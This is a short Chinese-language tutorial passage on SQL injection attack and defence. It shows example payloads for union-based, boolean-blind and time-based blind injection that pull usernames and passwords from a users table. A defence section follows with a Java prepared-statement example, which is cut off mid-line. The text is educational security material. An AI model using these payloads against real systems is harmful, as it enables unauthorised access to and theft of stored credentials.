数据库与存储安全
2.1 SQL注入攻防实战(手工注入、自动化工具)
攻击原理与分类
- 联合查询注入:通过
UNION SELECT
窃取数据。' UNION SELECT 1,username,password FROM users--
- 布尔盲注:利用页面响应差异逐位提取数据。
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a'--
- 时间盲注:通过延时函数判断条件真假。
'; IF (SELECT COUNT(*) FROM users)=5 WAITFOR DELAY '0:0:5'--
防御方案
- 预编译语句(Java示例):
String query = "SELECT * FROM users WHERE id = ?"; PreparedStatement stmt = co